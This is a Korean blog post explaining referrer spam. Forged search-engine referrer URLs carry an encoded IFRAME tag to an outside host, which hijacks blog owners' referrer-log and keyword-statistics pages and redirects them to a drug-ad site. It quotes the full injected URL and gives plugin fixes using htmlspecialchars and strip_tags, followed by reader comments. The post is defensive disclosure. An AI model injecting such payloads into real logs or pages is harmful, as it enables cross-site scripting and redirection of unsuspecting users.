리퍼러기록을 보면 페이지를 이동시켜버리는 리퍼러 스팸

최근 블로그툴의 “리퍼러 기록”을 보면 자동으로 광고페이지로 이동시켜 버리는 리퍼러 스팸이 활동하고 있습니다.


리퍼러 로그 페이지를 보면, 저렇게 깨지는 화면이 나옵니다.


그 다음 순간 약장사 페이지로 이동됩니다.

원리를 보자면, 리퍼러주소에 iframe 태그를 삽입하는 방법을 씁니다.


해당 스팸의 리퍼러 기록

예를 들어 저 광고의 경우

http://스팸광고사이트/search/results.html?query=Buy%20viagra%20for%20lowest%20prices
%20Buy%20viagra%20Online%20Now%20%3CIFRAME%20src%3D%2F%2Fmy-dom.info%2Fm.php
%3E&search.x=34&search.y=10&search=search

그림과 같이 리퍼러 주소가 마치 ‘검색엔진을 통해 검색해서 들어온것’처럼 구조가 꾸며져 있고, 검색어 부분에 iframe태그를 삽입해 놓았습니다. 그래서 리퍼러로그정리(RefererURLBeautifier) 플러그인 같은것으로 검색어를 표시하는 플러그인을 쓸경우 iframe에 삽입된 자바스크립트에 의해 리다이렉션을 당하게 됩니다.

해결법

RefererURLBeautifier 플러그인을 1.04이상으로 업데이트 합니다. 링크 1.04에서는 htmlspecialchars()함수로 키워드를 변환시켜서 iframe태그가 사실상 무력화 됩니다.

만약 버전업을 하지 못할 이유가 있거나 더 확실히 하고 싶다면 RefererURLBeautifier 플러그인의 index.php 파일을 열어

return ($keyword) ? ‘<span style=”font-weight: bold; color: #594″>[‘.$keyword.’]</span> ‘ . UTF8::lessenAsEm($url, 70 – UTF8::lengthAsEm($keyword)) : UTF8::lessenAsEm($url, 70);

위와 같은 return 이 이루어지는 바로 위에 strip_tags()함수로 html을 제거해줍니다.

$keyword = strip_tags($keyword);
return ($keyword) ? ‘<span style=”font-weight: bold; color:
#594″>[‘.$keyword.’]</span> ‘ . UTF8::lessenAsEm($url, 70 –
UTF8::lengthAsEm($keyword)) : UTF8::lessenAsEm($url, 70);

ps.
“리퍼러 기록”뿐 아니라 “키워드 통계”에서도 리다이렉션이 작동합니다.
이것도 응급조치로 refererkeyword 플러그인의 index.php를 열어서 147줄에       

document.write(unescape(“<?php echo $keywordkey;?>”));

document.write(unescape(“<?php $keywordkey = strip_tags($keywordkey); echo $keywordkey;?>”));

로 고쳐주면 해결됩니다.

추가

텍스트큐브용 공식 패치가 발표되었습니다.

글쓴이 : Draco (https://draco.pe.kr)
크리에이티브 커먼즈 라이선스
이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.

댓글 17개

  1. 핑백: Kyungseo's Blog
  2. 스패머들이 머리를 이런데 말고 좀 더 건설적인 곳에 썼다면 IT과학분야는 더더욱 발전했을거 같은 느낌이 듭니다.

    지금 이런 경우는 당하는 분 입장에선 씁쓸하겠지만, 처음 본 저로선 너무나 신선한데요.^^

    1. 그럴지도 모르겠습니다.

      하지만 항생제속에서 살아남는 세균이 더 강하다고 하잖아요. 스패머들이나 크래커들도 오히려 더 큰 보안문제를 예방하게 해주는 역할일지도 모르겠습니다. 아주아주 좋게 봐줄경우에요 -_-;

  3. 글 읽으면서 ‘세상에 별 스팸 다 있군.’했는데, 혹시나 해서 봤더니 제 블로그에도 오늘 붙어 있었네요. 미리 알려주신 덕분에 당황하지 않고 플러그인 업데이트를 했습니다. 감사합니다~

Draco에 답글 남기기 응답 취소

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

이 사이트는 스팸을 줄이는 아키스밋을 사용합니다. 댓글이 어떻게 처리되는지 알아보십시오.